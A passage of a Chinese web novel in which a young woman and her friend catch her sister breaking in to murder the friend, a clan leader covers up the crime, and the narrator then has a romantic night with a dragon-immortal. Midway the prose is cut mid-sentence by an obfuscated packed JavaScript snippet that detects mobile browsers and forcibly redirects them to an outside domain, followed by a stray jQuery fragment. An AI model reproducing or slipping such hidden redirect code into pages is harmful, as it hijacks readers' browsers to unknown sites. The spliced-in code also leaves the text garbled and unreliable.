我无奈给她加油打气:“再忍忍,才十点半,现在天还早,咱们按计划进行,再蹲一个小时,如果还见不到有人来,咱们今晚就收工回去睡觉,明天继续蹲!”
“啊?明天还要继续遭罪啊。”
银杏一屁股坐在草地里,将芭蕉叶盖在脑袋上心累道:
“那我还是希望她今晚就来找我算账,不然每天晚上都提心吊胆的,我都不敢闭眼好好睡觉了!”
“谁让你长得这么漂亮,村里能和宋花枝比美的,只有你与彩虹。
彩虹这个威胁已经除了,就剩你了。
如果不绝了宋花枝想杀你的念头,你以后可就不止夜里要提心吊胆了,当心白天她找个没人的地方对你下手。”
银杏被我吓得心里打怵,搓着肩膀苦不堪言:“我怎么就招惹了这么一位瘟神,无妄之灾啊!”
打了个哈欠,银杏凑近我,挽住我的胳膊与我抱团喂蚊子:
“就算月阴村要选新圣女,也根本不需要在普通百姓家择选啊。
你才是现成的最合适人选,圣女之位本来就属于你。
也不晓得那些人们是不是集体脑子抽筋了,竟然能想出选我这个外人做圣女的荒唐法子。
我不是九黎族人,更没资格修炼什么长生媚术。就算全村的女孩都走光了,这种倒霉事也不该赶到我头上啊……”
“她们当然不会考虑让我做九黎族的圣女,且不说择选新圣女本来就是她们的一时气话,当不得真。
就说宋花枝现在的自身情况,她虽然被长生媚术反噬了,可她的确是经过族里祖宗认可的守族仙。
她的升仙仪式已经成功了,守族仙的身份也已经稳了,圣女哪是一两个人说换就能换的。
而且,月阴村上上下下,并没有人希望我做圣女。我对他们而言,就是颗弃子。”
“为什么啊!”
银杏瞪大双眼不解追问:
“他们要的,不就是骨仙的转世吗?
我爸和我解释过,上古长生媚术是个很邪门的法术,并不是随便什么人都能修炼成功。
长生媚术是九黎族先祖传下来的,传闻在上古时期,九黎族部落繁荣强盛,九黎族的族人个个都很有灵性,生来便体内灵气充盈。
所以只要是九黎族的子民,都能修炼长生媚术,借长生**延长自己的寿元,让自己无病无灾。”
我略为诧异道:“九黎族子民都能修炼?男人也可以吗?”
妈不是说,只有女孩才能修炼成长生媚术吗?
银杏用力点点头,“嗯,我爸是这么说的,最开始长生媚术的确男女都能修炼,但现在不成了。”
我皱眉钻研:“李大叔有说为什么吗?”
银杏想了想,道:
“因为后来九黎族经历了几场天灾与内乱,原本完整的上古第一大部落在几百年内迅速分崩离析,**成了十来个小族落。
这些小族落脱离九黎族后,就自己拥立的新首领,为了培养本族势力,全都跟着自家族长离开了九黎山,另寻出路去了。
那些**出去的族落中,最有名的就是苗巫族与黑巫族。”
我深呼吸:“这些我倒是小时候就听妈讲过。”
银杏接着说下去:“他们走时,虽然带走了九黎族的养蛊秘法,但却没能带走记载长生媚术的秘籍。
而如今还留在九黎山下的月阴村人,就是上古时期留守下来的那批最正统的九黎族人后代。
长生媚术原本能保九黎族每个人都长生不老,跳出三界六道,不受生老病死束缚。
但早在几万年前九黎族就因连年天灾人祸而损了灵气,九黎族人身上的灵力涣散。
久而久之就失去了修炼长生媚术的能力,这才沦落到现如今和普通人体质没什么区别的境地。”
见我听得认真,银杏又小心翼翼往我身边挤了挤,啪的一声打死两只吸她血的蚊子:
“自从九黎族无法修炼长生媚术后,九黎族的历代族长生前都在寻找破解之法,宋族长也是……
修炼长生媚术,须得体内灵气纯净充盈的人来做,男人体内气息太杂浊气太多,的确不是修炼的最佳选择,只能从没出嫁的女孩中挑。
而宋族长之所以挑选中骨仙转世来修炼长生媚术,就是因为骨仙是龙仙老爷送来的。
骨仙上辈子就是仙,又在宋家祠堂里受了三百年香火,骨仙体内的灵气最纯粹,最适宜修炼长生媚术。
不过,我今天还在我爸口中听到了一个更令人意想不到的真相!”
“什么?”我被她勾得兴致高涨。
银杏扶好头上的芭蕉叶,神秘兮兮和我说:
“你应该知道,你们族的长生媚术,神话传说里乃是西王母所授。
西王母可是正神啊!怎么会传授一些歪门邪道见不得光的法术。
长生媚术一开始之所以叫这个名字,是因为女孩修炼会越变越年轻,越来越媚,所以你们的族人才会习惯性称之为媚术。
是你母亲太过急功近利了,着急让你姐姐修成长生媚术,才打着媚术的幌子,让你姐姐和族里那些青壮年在一起……采阳补阴。
这样修炼成的长生媚术,就是个邪术,虽然也有长生之效,而且能以一人供养千百人。
但、副作用就是一辈子离不开男人,被她供养的族人们也会受她本人心性影响。
她如果贪婪,因她而获得长生的人,会更贪婪。
她如果善良,因她而获长生的人,坏人也能改邪归正。
而且,你母亲教你姐姐的修炼方法,会让你姐姐,无法生育。”
难怪,从前那些喝了姐姐洗身水的村民们都会性情大变!
银杏扯了扯我袖子:
“所以,他们为什么不想让你做圣女,你可是阖族唯一有希望练成长生媚术的人,按**性格,不应该骗也要把你骗到圣女的位置上么?”
我摇头:“因为我嫁了龙仙,龙仙会允许自己的女人,为修炼所谓的长生术,和无数男人鬼混在一起么?”
银杏顿时醒悟:“哦对!把龙仙老爷给忘了!”
她昂头还要和我聊天,我忽然眼尖地捕捉到路边树荫下闪过一道蓝色身影……
赶忙捂住银杏的嘴巴,小声提醒银杏:“嘘,鱼上钩了。”
第25章 你们姐妹俩,本尊都要!
夜幕深处的树荫里鬼鬼祟祟走出一个人影。
遥遥看着,从身形轮廓就能认出来是宋花枝……
宋花枝站在路边东张西望了一番,随即拎起裙摆,蹑手蹑脚地走到李大叔家院门口。
抬手搭在门环上,稍稍弄出点动静,院子里的辟邪就警觉的闷哼出声。
宋花枝确认过辟邪在家,就从腰间布袋里掏出一只小瓶子。
撬开瓶盖,一股泛着红光的气体就钻进了门缝——
片刻后,院内的辟邪没了声响。
宋花枝把瓶子合上,揣回兜里。
拔掉头上的银花簪,**门缝,手法娴熟地一点点挪开门闩。
没多久,就听门后吧嗒一声,门闩开了。
宋花枝将花簪重新插回头上,大功告成地拍拍手,轻推院门,放轻步子闪身进去……
等她进门好一会儿了,银杏才拉着我从草丛里冒出来。
拍拍胳膊上的蚊虫,银杏生气掐腰:“好啊,原来她就是这么摸进我家门的!”
我也觉得不可思议:“没想到她还有这门手艺。”
银杏跨出去,抖了抖衣裙道:“我先进去,杀她个回马枪!你就别跟来了,不然等会儿撞上,我们把事闹得太难看,赶明你妈又责怪你!”
我犹豫了一阵,还没来得及回答就听院子里传来了宋花枝的惊叫。
院内门灯也瞬间亮了起来——
“不行,先去凑热闹吧!”我拉上银杏直奔她家而去。
她惊道:“你妈骂你怎么办!”
我破罐子破摔,“骂就骂吧,反正她也一直都瞧我不顺眼。”
说的就像我不掺和这些事,她就不会怀疑我一样!
银杏一脸无奈:“好吧……你慢点!她一时半会又跑不了!”
我和银杏冲进李家院门,抬头就看见李大叔单手反剪住宋花枝的双臂,押着宋花枝站在堂屋门口的昏黄门灯下——
宋花枝不服气地卖力挣扎:“放开我!”
李大叔冷哼一声,脸色阴寒:“我说家里的蛇气是从哪来的!原来是你这个小丫头带进来的。”
抬眸扫了我和自家闺女银杏一眼,李大叔不悦道:
“她刚才,进了你的房间就用**狂扎你床上被褥,替你躺在床上的稻草人都快被她扎成筛子了!算你运气好,今晚躲过了一场死劫!”
银杏不寒而栗地抽了抽嘴角,忍不住开口质问:“宋花枝,你也太歹毒了吧,出手就要我小命!你们九黎族的圣女**不会犯法吗?当圣女,就可以随便草菅人命吗?”
宋花枝那厢倒是脑子灵光,嘴硬坚决不承认:“我没有!我不知道你们在说些什么!我……你们说我**,有证据吗!”
李大叔面不改色地反呛:“那你是不是也得和我解释一下,深更半夜你怎么跑进我家里来了?”
宋花枝被噎得面红耳赤,紧张反驳:“我、我也不清楚自己为什么突然出现在你家……我、我知道了,我是被蛇妖控制了!”
李大叔手上用力,恼火低斥:“一派胡言!你有没有被蛇妖控制,我能瞧不出来?!”
宋花枝疼得哎呦叫了声,眼见着自己落了下风,谎言都被拆穿了,骗不过李大叔父女俩,抬头瞧见我,竟敢将希望放在我身上……
“镜镜!镜镜救我,我是姐姐啊。镜镜,你难道就要这么眼睁睁地看着姐姐被人欺负么?镜镜,你和李银杏关系好,你帮我说说话啊!”宋花枝委屈扮可怜。
我冷嗤一声,换做从前,我肯定会看在她是我亲姐姐的份上开口替她求情,帮她求李大叔与银杏放她一回,给她一条后路。
可现在,她先是想要我的命,后又想要我的皮,我再圣母心泛滥替她说好话,改日我死在她手里自己都要骂自己一句活该了!
“花枝,你都被人逮个正着了,就没必要死不承认了吧。你要杀李大叔的女儿,李大叔现在还能忍得住不对你动手,就已经是待你仁至义尽了。”我没有感情地说。
宋花枝恼怒的眯了眯双目,气急败坏道:“我就知道你这个小**喜欢胳膊肘往外拐!你和他们都是一伙的!”
“你先别管我和谁是一伙的,事到如今,你该考虑的是怎么向李大叔交代,怎么向村里的邻居们交代。”我风轻云淡道。
宋花枝闻言却嚣张大笑出声:“哈哈哈,交代?让我和月阴村的村民交代?我有什么可交代的!我什么都没做,即便做了,也是被蛇妖控制所为,我也是受害者,我没罪!”
“你的脸皮还真是比城墙还厚!”银杏窝火道:“我就没有见过你这么不要脸的人,都人赃俱获把证据拍在你脸上了,你还死不承认。真是全身上下嘴最硬!”
宋花枝理直气壮地冷哼:
“那又怎样!你们刚才有句话,的确说对了。圣女,就是可以为所欲为!别忘了,整个月阴村,几乎都是我们九黎族的族人。
你和你爸,就是外来者,是外人!你们应该感激我允许你们留在月阴村!
我劝你们,不要多事,不然月阴村可就容不下你们了。”
“你!”银杏被气到语塞。
宋花枝又转头看向我,同样恶语相对:
“还有你,宋鸾镜!你就是个来历不明的小野种,难不成你们还妄想借助这点小事就定我的罪,让我付出代价?
哈!真是天大的笑话!既然都被你们抓到了,那我也就不和你们多扯皮了,我实话告诉你们,是,张彩虹是我杀的,但你们又能奈我何?
我今天也的确是想来除掉李银杏,因为我好不容易才让妈绝了改封宋鸾镜为圣女的念头,没想到半路又冒出个张彩虹、李银杏。
她们说你们长得漂亮,也可以做圣女,呸!你们算什么东西,凡夫俗子凭什么和我比!想抢我的圣女之位,也要看你们有没有这个命!”
我听不下去地冷声道:
“你明明也清楚,圣女并不是她们想换就能随便换掉的,更何况彩虹许了人家,银杏又不是本族人,她们不可能当得上圣女!张彩虹和李银杏,都对你毫无威胁!”
宋花枝弯唇讥讽:
“宁可错杀三千,不能放过一个的道理,你懂么?哦对,我忘了,你宋鸾镜可是有名的圣母心白莲花,你才不屑于做这种事呢!
所以,你蠢,被我占了二十二年的身份却不自知。
圣女,多么高贵的尊称,从小就被锦衣玉食的伺候着,享受着子民的供奉膜拜,这些,你都无缘享受了,哈哈……”
“宋花枝,我看你是当圣女当魔怔了!”
李大叔控制住她的双腕,从腰后抽出烟杆,猛抽了一口,冷漠发话:
“杏子,掌灯,带上锣鼓,咱们一路热热闹闹地去宋族长家,把这位花枝圣女还回去!顺便,再同她讨个说法!”
银杏点头爽快应下,随后跑去下屋准备工具。
“你们要干什么!”宋花枝警惕地扭头,凶狠瞪着李大叔。
李大叔吐出一口白雾,冷眼盯着宋花枝,不客气道:
“当然是让你打哪来回哪去,既然你是九黎族的圣女,那我就让你的子民们都看看,你背着他们究竟做了什么好事。让你抵命是不可能,我动不了你,但却能让你跟着丢脸!”
“你疯了!”宋花枝心虚地慌乱挣扎,李大叔用烟锅往她腕上一点,她的双腕瞬间被两股结实的树藤缠绕捆绑住,藤条上还贴了一道朱砂黄符。
宋花枝顿时就被黄符控制了住,猛地直起腰身,动弹不得。
“放开我!你敢这么折辱我,我让我妈杀了你!”
宋花枝面目狰狞地冲李大叔怒吼,李大叔平静地掏出干净手帕擦烟杆,面不改色道:
“她若是杀得了我,二十年前我就已经没命了。”
说着,抬起沧桑的老眸,深深凝视宋花枝,意味深长道:
“村里人都说,你有她当年风范,是最像她的孩子。连她自己也觉得,你像她……
可我,却认为,你根本不像从前的她……她当年再糊涂,也做不出害人性命的恶事。
说你像她,是对她的侮辱。”
李大叔这话说得太狠,震得宋花枝眼眶都红了。
“**!你算什么东西!我像不像我妈,你说的不算!你没资格评判!
姓李的,妈说得对,你就是个懦夫软骨头!
你就是个**人感情的王八蛋!当年你欺负我妈,现在又欺负我!姓李的,我和你没完!”
花枝在那头歇斯底里地发泄一腔怒火,李大叔却视若无睹地缓步走到我面前,担忧道:“你先回去吧,这事和你无关,你没必要牵扯进来。”
我清楚李大叔的意思,今晚李大叔势必会为了银杏闹一闹,如果我和他们一起害花枝丢人,我妈赶明肯定会责备我,找我算账。
李大叔是害怕我挨我妈的责骂。
我想了想,轻声和李大叔说:“那我先回去通风报信!”
“对了,回去告诉他,蛇气是来源于宋花枝身上的**,没有蛇妖。”李大叔说完,拿着烟杆晃了晃,示意我走吧。
我点头,先一步离开了李家院子。
前脚出门,后脚就听见宋花枝的嚎啕怒骂:“宋鸾镜,你这个**!回去我一定把今晚发生的一切如实告诉妈,让妈打死你这个白眼狼!”
冲她这句话,我决定,我回家的脚步还可以再慢点。
我刻意拖慢步伐,直到银杏敲锣吆喝到家附近,我才跑进家里院子,冲到妈房间外,用力拍打妈的房门。
“妈,妈你快醒醒,不好了,花枝出事了!”
我妈极快地从里拉开房门,身上只穿了一套白色睡衣。
寒着脸着急问我:“花枝怎么了?”
我简单交代:“花枝去李大叔家杀银杏,被李大叔抓住了!李大叔现在把全村人都吆喝了起来,正押着花枝往家里来呢!”
“什么?”我妈眸光一沉,转身进屋,拿回屏风上的外衣,迅速穿好。
出门时犹豫了片刻,回头又将床边放着的那根象征族长身份的神木权杖一并带上。
银杏她们的动作委实很快,我和妈刚来到院子里,银杏就提着红灯笼拎着锣,叮叮咣咣地推门带人闯进来了——
我妈见状黑了脸,保持着族长的威仪,拄着神木权杖上前一步,稳住局面。
“大晚上的都不睡觉,又来吵什么吵!”
村民们看见我妈手里拄着的东西,立时噤声,敬畏低头,双手交叠在胸前弯腰行礼:“族长……”
我妈手里拿着的神木权杖是上古时期九黎族首领取神木雕琢而成,手握权杖,可百毒不侵,诸邪避让。
权杖是族长身份的象征,更是九黎族世代族长的威严所在,不管这个权杖究竟有多强的神力,它在九黎族子民心目中的地位,永远都是至高神圣,不可亵渎。
见权杖,得向族长行正式族礼,连我也得在权杖边乖乖低头。
当初花枝升仙时,都没见我妈把权杖拿出来,没想到这次为了救花枝,妈连神木权杖都动用了。
这玩意拿出来,谁敢找花枝算账啊!
真是让李大叔猜准了……
“老李,你这是什么意思,绑我九黎族的圣女做什么!”我妈出声质问,李大叔不卑不亢地镇定道:“原因,你不清楚吗?你的小女儿,没和你讲吗?”
宋花枝见到妈,顿时委屈地抽泣起来:“妈,救我,姓李的不是东西,我手腕好疼……”
我妈瞥见花枝双腕上的东西,手中权杖往地上重重一敲,那树藤就自行松散掉落,黄符也晃晃悠悠地落在了李大叔脚下。
李大叔淡淡启唇:“你闺女做了这种害人事,你得给我一个说法!”
老张头从人群里艰难挤出来,红着眼眶颤颤巍巍地询问我妈:“族长,我的孙女彩虹真是花枝杀的吗!我的孙女,还是个孩子啊!”
见真相已经暴露,我妈只能扭头质问回到自己身边的宋花枝:“到底怎么回事!”
宋花枝厚颜无耻地睁眼说瞎话:
“我前几天,遇见了一条大红蛇,那大红蛇冲我吐了口气,我就时而清醒时而昏沉。
我今晚也不知是怎么回事,莫名其妙就出现在银杏家,清醒过来的时候,人就被这个姓李的给控制住了!
对了妈,宋鸾镜也在姓李的家里,他们都是一伙的,他们联合起来欺负我!”
宋花枝不要脸地指着我反咬一口。
我妈冷厉的余光扫过来,我倒也不慌,学她装模作样,委屈嘤嘤:
“姐姐,我和银杏经常睡在一个地方,以前她也常来我家找我一起睡啊,今
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461681|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夜我俩下塘揪莲蓬揪得太晚了,所以我就想去银杏家睡。
谁知道撞上你拿刀要杀银杏,要不是李大叔及时把你制服了,银杏就没命了,银杏的床上现在还有被刀扎破的被褥呢……”
宋花枝霎时哽住,原本想泼我脏水,没想到我却成了她**的目击证人,我这个亲妹妹的证词,可是最有力的证据。
“就是!你当时那力气恨不得把床都给我戳穿喽!宋花枝,宋阿姨,你们今晚要是不给我一个说法,我就、就报警!”银杏挺直腰杆有骨气地将手里铜锣往地上重重一摔。
我妈脸色难看地深呼一口气:“不能报警!”
老张头也急了,抬袖擦着老泪心痛道:“族长,我家彩虹,那也是条人命啊!”
宋花枝意识到事情的严重性,晃着妈的胳膊狡辩道:“妈,不是我,我是被蛇妖迷惑了……”
我妈铁了心要保宋花枝,顺坡就下:“既然是被妖物迷惑,那花枝就……”
我故意使坏打断妈:
“哦——那花枝在李大叔家说,她对张彩虹与银杏动杀心是因为刘婶子她们讲,彩虹和银杏也可以做圣女,她怕彩虹银杏抢走她圣女的身份才对两个姑娘狠下**,也是蛇妖迷惑花枝说的?”
我妈的话硬生生噎在喉头,宋花枝气得暴跳如雷:“宋鸾镜,你这个死**!”
村里人听见这话,怕是内心已经清楚**的究竟是宋花枝,还是蛇妖了吧……
老张头更是泄了气般,一屁股坐在地上,哭天怆地的哀呼:“无妄之灾,无妄之灾啊!”
银杏逼问:“宋阿姨,她说她被蛇妖迷惑,有证据吗?圣女**,难道不用偿命?”
宋花枝仓皇摇头狡辩:“妈,我没有……妈,我也是被蛇妖迷惑了,妈,真不是我杀的人!”
我妈被逼得无路可退,只能强势地抬头威胁众人:
“花枝是被蛇妖上了身,才造下杀孽,彩虹与银杏,应该回去好好反省一下自己有没有哪里做的不对,惹怒了蛇妖,而不是无事生非夜半扰人清静,在我家大吵大闹!”
“族长……”老张头不甘低吼。
我妈冷冷道:“圣女这几天正在闭关加急修炼媚术,尔等不可扰了她休息,过几日,每家可派一人来这边领取守族仙的洗身水。”
此话一出,众人哗然。
“洗身水?我们又有洗身水可以喝了?”
“也不知道这次的洗身水有什么作用……”
“虽然不能变年轻,让咱们和男人们一样,不再继续衰老也好啊!”
“太好了,守族仙保佑,我终于不用再提心吊胆忍受病痛之苦了!”
连老张头眼里也重新燃起了希望:“洗身水……嘿嘿,洗身水,能让我、老当益壮吗!我还想,和林寡妇妹子开启第二春呢!”
我无奈叹口气,果然,贪欲作祟,能让人不像人,鬼不成鬼。
李大叔似是早就料到会是这个结果,只双手背后挺直脊背安静站着,不发一言。
也好在,李大叔把事闹得这么大,原本就不是为了让宋花枝付出代价……
而是,给自己女儿谋条安稳的生路。
我妈见反响不错,便大手一挥打发道:“好了,都闹了一整晚,回去歇着吧!”
村民们听罢,个个心满意足地离开了我家……
等人都走完,院子里只剩下我们娘三,和李大叔父女俩,宋花枝才高傲地冲李大叔得意道:
“看吧,没有人会听你撺掇,你就是个外人!姓李的,今日我受到的羞辱,来日,定加倍奉还!”
我妈不耐烦地打断:“好了!以后,不许去招惹李家的人!”
宋花枝不情不愿:“妈~他们欺负我!”
李大叔脸色不大好地低头静了静,忽然走近我妈,抬手,饶有深意地拍拍我妈肩膀,低低道:“淑贞,你变了很多。终究是我,没办法拉你一把。”
我妈背影一僵,随即无情拂掉李大叔的手:“滚。”
李大叔深深看了我妈一眼,转身离开。
“杏子,回家。”
“好嘞老爹!”
宋花枝似没想到李大叔与银杏这么轻易就被妈撵走了,沾沾自喜道:“呸!老不死的东西,自不量力!”
转头又去晃着妈的胳膊,找妈撒娇:
“妈,你看他们,一个老短命鬼带着一个小**!总有一天,我会让他们父女知道我的厉害,我要拿他们,去喂蛇……”
只是,话音未落,我妈就一巴掌扇了过去……
啪的一声,虽未打在我脸上,却把我吓一抖擞。
宋花枝捂着脸双目通红:“妈,你干嘛呢!”
我妈的脸,阴沉得吓人,握着权杖狠声斥责道:“我叮嘱过你多少次,不要去招惹他,不要去伤害李家人,你都当耳旁风了吗,你是嫌命长了吗!”
我妈……竟然为了李大叔,甩了花枝一巴掌。
李大叔有那么吓人吗?
——
前院的热闹凑完,我赶紧回东院找青漓分享信息。
只是,我刚迈进东院,就觉得眼前影影绰绰……
好像,院子里突然多出了两道熟悉身影。
一道是花枝的,一道是、青漓……
四面的景物自动虚化,只有两个主角,是高清影像——
花枝衣衫不整,香肩半露地倚在青漓怀里,陪青漓打闹。
青漓一把抱住乱跑的花枝,低头在她肩上轻啄一口。
“大人~你这样,妹妹知道会生气的。”
“无妨……不让她发现就好。”
“大人您好贪心呐……哈哈。”
“乖乖,你们姐妹俩,本尊都要!”
不对,我定住心神,攥紧双手,捂住起伏剧烈的胸口……
是幻觉,幻觉!
我用力甩了甩脑袋,扶住墙保持清醒。
大力不小心一头撞在我腿上,我眼前的幻影才陡然消散……
回到现实。
清静的院子里忽然亮起两盏灯。
一缕凉风拂起背上乌黑长发,龙仙好听的嗓音在身后响起:“阿鸾,回来了。”
我一愣,随即心头一酸,迅速转身,委屈地扑进他怀里:“青漓。”
他抚了抚我的脑袋,皱眉关心道:“怎么了?”
我小声低喃:“没事,就是出幻觉了。”
第26章 他和别人巫山云雨的噩梦
“什么幻觉?”他不放心地询问:“将你吓成这样。”
我不好意思地往他结实胸膛上蹭蹭:“没什么……”
总不能告诉他……
看见了他和花枝在一起暧昧拥吻,颠鸾倒凤吧。
也许,我还是被宋花枝与母亲影响到了。
我虽然嘴上说着完全信任青漓,可潜意识里还是害怕青漓真和花枝有个来往……
有句话叫做日有所思夜有所梦,幻觉应该也是这个道理。
他见我不肯说,也没有继续问下去。
只是拍着我的肩膀温柔安慰:“没事了,都是假象。本尊在。”
大力不知从哪弄出一盘葡萄,等我们说完话,乖乖伸手扯了扯我的裙摆,将葡萄捧给我。
“葡萄……”我低头惊讶瞧着小纸人,好奇问:“从哪弄来的?”
大武也从屋里腿脚利落地跑出来。
递给我一张纸条,纸条上用炭笔写着歪歪扭扭的几个字:主人给你洗的!
文字下还有一幅简笔画配图。
配图上的青漓正认真站在水井边用凉水清洗一颗颗肉粒饱满的紫葡萄。
那拿着葡萄蹙眉研究的模样,莫名可爱!
“你给我摘的啊!”我扭头欣喜问。
青漓搂着我的腰,认真颔首:“山里果子很多。下次本尊给你摘野草莓。”
我从大力手里捧过葡萄,捏了一枚紫莹莹的果实,送到他嘴边,“阿漓,张嘴。”
他听话允许我把葡萄放入他口中。
我转头又问眼巴巴瞪着我们的大力大武:“你们能吃吗?”
大武馋的口水都要流出来了,小孩子心性地连连点头!
我又摘了一棵盘里的葡萄,随即将整盘水果都还给了大力,顺便将大力大武推到一边。
“阿鸾……”他浅声唤我,磁音诱人。
我将葡萄含进口中,转身搂住他的脖子,主动含着葡萄亲吻他——
他一怔,被我头一回的主动惊得眼底涟漪瞬间大乱……
但紧接着,又极快地拢紧我腰肢,配合着亲吻我,咬破我唇畔轻含的葡萄——
指腹搭在他的心口,胸腔内的那颗心,跳得雀跃有力。
原来他做这种事……也会紧张。
汁水顺着唇角流溢,他舌尖一挑,便尽数卷入口中。
从我嘴里抢走那粒葡萄,他清澈的眼眸明亮如海中倒映的繁星——
眼底有欲光冉冉亮起,明媚勾人。
“夫人口中的葡萄……真甜。”他说完,又动情地吻了吻我。
我搂住他的腰肢,踮脚将唇凑近他耳边,小声问:“今晚,准备让我还几笔债。”
他暧昧啃咬我耳尖:“还到,还不动为止。”
我乖乖迎合着:“那,给我摸……”
他瞬间意会,眼底柔光沉浮:“我都是你的,你想摸哪里,都成。”
我亲昵地与他唇瓣相抵,忍不住问:“都是从哪学的,这般多花样……”
他扶着我的后脑勺,倒也不隐瞒,直言不讳道:“上辈子,偷偷看过那些图……上面取悦妻子的招式,很多。”
我咬了下他的唇瓣,壮着胆子审问:“上辈子就想碰我?”
他亲亲我的鼻尖,满眼爱意:“想娶,自然想碰……嫁衣都为本尊披了,本尊难道还不能,肖想一下么?”
我害羞地红了脸,手掌贴在他胸膛上,浅浅提醒:“我们、进屋……”
“夫人今晚,兴致不错。”
“第一次吃到别人洗好的葡萄,我高兴。”
“夫人还一个也没吃着呢,不过无妨……本尊等会,喂你。”
他将我打横抱起,大步流星带进房。
我窝在他怀里,踏实的沉沉松了口气。
只有这样,才能真实感觉到他的存在……安全感满满。
只可惜那盘色泽晶莹剔透的葡萄。
我还没尝上一颗呢,就被他全糟蹋了。
临近天亮,我趴在他怀里委屈哼唧:“你再次再这么不知轻重,还浪费食物……我就不理你了。”
他吻着我的眉心好笑道:“本尊明天再给你摘……真是个小馋猫。”
我疲惫叹气:“青漓,你什么都好,就是喜欢不知节制。”
“没办法,蛇类天性。”
“好吧……青漓,我们人,一生只有一个伴侣。我尊重你的天性……你也要理解我们的习俗……”
“巧了,我也是。”
“你骗人,我学会动物学……蛇类一辈子,可以在不同期间,有不同老婆。”
“阿鸾,本尊是蛇化龙,本尊也可以是人,本尊……命只给你。”
我听完,下意识闭上双眼。
心里舒坦了。
梦里流光晃眼,蓦然回首,已是数百年前——
密林深处的我,一身藏蓝长裙,肩披青纱,腰上银铃叮当作响,宽大的袖摆下,金线密绣凤羽纹。
长发简单挽起,发间银花银饰哗哗啦啦。
凤凰对簪下银流苏垂至肩头,胸口并蒂莲花项圈反射着林中诡异幽光。
赤足踏在铺满枯黄落叶的草地上——
陡然林深处飞出一群乌黑蝙蝠,铺天盖地地向我袭来。
我旋身躲闪开黑蝙蝠的袭击,抬手施法,掐诀驱邪——
“日月玄光,天地正清,感应万物,诛邪驱煞!走你!”
强大的法力顷刻将蝙蝠群掀翻撞散出去。
我从身后掏出白玉笛,横在唇边,吹起驭蛇的曲子……
林子尽头忽有山崩地裂的动静传来,轰轰隆隆,折腾个没完。
我加快曲子节奏,笛声中的杀伐之气震落了树树梧桐叶……
大约过了一刻钟,密林尽头的动静渐渐停歇下来。
我唇边笛音也戛然而止,心满意足地放下笛子,安静等在原地。
不多时,林子那头呼啦一阵躁动,有条庞然大物迅速朝我这边游弋过来……
我瞧着昏暗密林中的那道庞大身影,化去手中笛子,勾唇莞尔一笑。
“就知道你今天偷偷跑出来打架了!笨蛋,身上伤还没好,就急着替我出头,我再晚来一步,你就**了!”
通体青色鳞光的大蛇此时正安静跟随我的脚步,陪我出密林。
大蛇身上血迹斑斑,脸上还有几道见血的划痕,垂头丧气地蠕动庞大身躯,被我责备也不还口。
像极了一个出门打架却没打赢的委屈宝宝。
“好啦,怪我没有早点发现你不在家,下次你要是揍人,提前喊上我啊,我们俩男女搭配,干活不累,保准能打得其他蛇跪地求饶喊你亲爹!”
大蛇用余光哀怨地瞥了我一眼,傲娇哼了声,还是不理我。
我拿他没办法的好笑道:“干嘛?又不是我揍了你,你怎么还迁怒我呢?阿漓,你这脾气得收一收,不能随便冤枉人。”
“阿漓,青青?为什么不理我呀?你不理我,我会难过的。”
“青宝?”
大蛇被我喊得一身鸡皮疙瘩都炸起来了,忍无可忍道:“别叫我青宝!难受**!”
我被他逗笑出声,引他到水边,淡定命令:“变回去!”
他睨了我一眼,铁骨铮铮:“求人,得有求人的态度!”
我笑:“呀,我家阿漓今天怎么如此硬气?是想念被挠痒痒的滋味了么?”
我作势要挠他,他一惊,赶紧化去蛇身,变回丰神俊朗,翩翩公子的青衣银发男人。
“这样才对嘛。”我拉住他的手,将他带去河边坐下,从广袖里掏出绣了蝴蝶的干净帕子,蘸了些清澈河水,给他温柔擦拭脸上的血痕……
“笨蛇,你身上的旧伤还没痊愈呢,刚恢复一半修为就敢去找那条千年灵**算账,你是不要命了么?”
他的血迹晕染在帕子上,我越瞧越心疼,从腰间拿出止血药瓶,打开瓶盖倒出一些粉末在指腹,轻手为他处理伤口。
他紧蹙眉头,喉结滚了下,绷着俊脸生闷气:“我、就是看不得他轻浮于你!他、该死!”
我无奈叹息,指腹蘸着药粉,小心翼翼地敷在他脸颊伤口上:“这九百里幽冥山,骂我的妖物从山东边能排到山西头,你要是听不得别人折辱我,每天打一架,也得足足打上十年。”
“这次,不一样。他竟然说你、说你……”他皱眉难以启齿。
我歪头问他:“说我什么?”
他眼底浮现凶光,杀气游弋:“说你、是没人要的老女人,还要把你娶回洞府做七百三十二房小妾,让你跪着……服侍他!”
我听完,却没忍住笑道:
“他也就只能过过嘴瘾了,你也看见了,本圣女与他实力悬殊,不费吹灰之力就能将他打趴驯服。
上次,是我有心要放他一马,毕竟,与山里其他老妖相比,他手上没怎么造杀孽,仅是嘴贱了些,算不得罪孽深重。上天,有好生之德。”
“过嘴瘾也不行!”
他霸道强势地握住我手腕,恼得眼底发暗:
“他凭什么那样折辱你!他也配肖想你!你可知这几日我每每想起他的话,都恨不得生吞活剥了他!”
我看着他发怒的样子,弯唇笑道:“你不是已经把他,活剥了么?”
“还不够!”他攥紧我的腕骨情绪激动道:“我还想要他跪在你面前,同你认错道歉!可惜……他太不经打了,竟那样轻易,就咽了气。”
我凝视着他,突然轻笑出声。
纤长手指轻轻抚摸他的脸颊。
我浅浅唤他:“阿漓……”
他亦深情回应我:“阿鸾……”
我坐在水边,朝他璀然一笑:“你、心里有我。”
他脸红嘴硬:“我、我……你想多了!”
“是么?”我笑眼弯弯,突然仰身往河里一倒。
他顿时大惊失色:“阿鸾!”
不管不顾地随着我一起跳入河中。
法力在河水里划出个结界,原本不过两米深的小河,一时暗不见底,水深千尺。
他拼了命的快速游水朝我追来,搂住我下坠的身子,用意念和我交流——
“你怕水!为何还要往水里跳!万一、万一……”
我抬指竖在他的薄唇前,对上他惶然担忧的目光——
“是我想多了么?”
他愣住,咬牙不语。
我故意使坏,推开他的胸膛。
他吓了一跳,忙坚定回答:
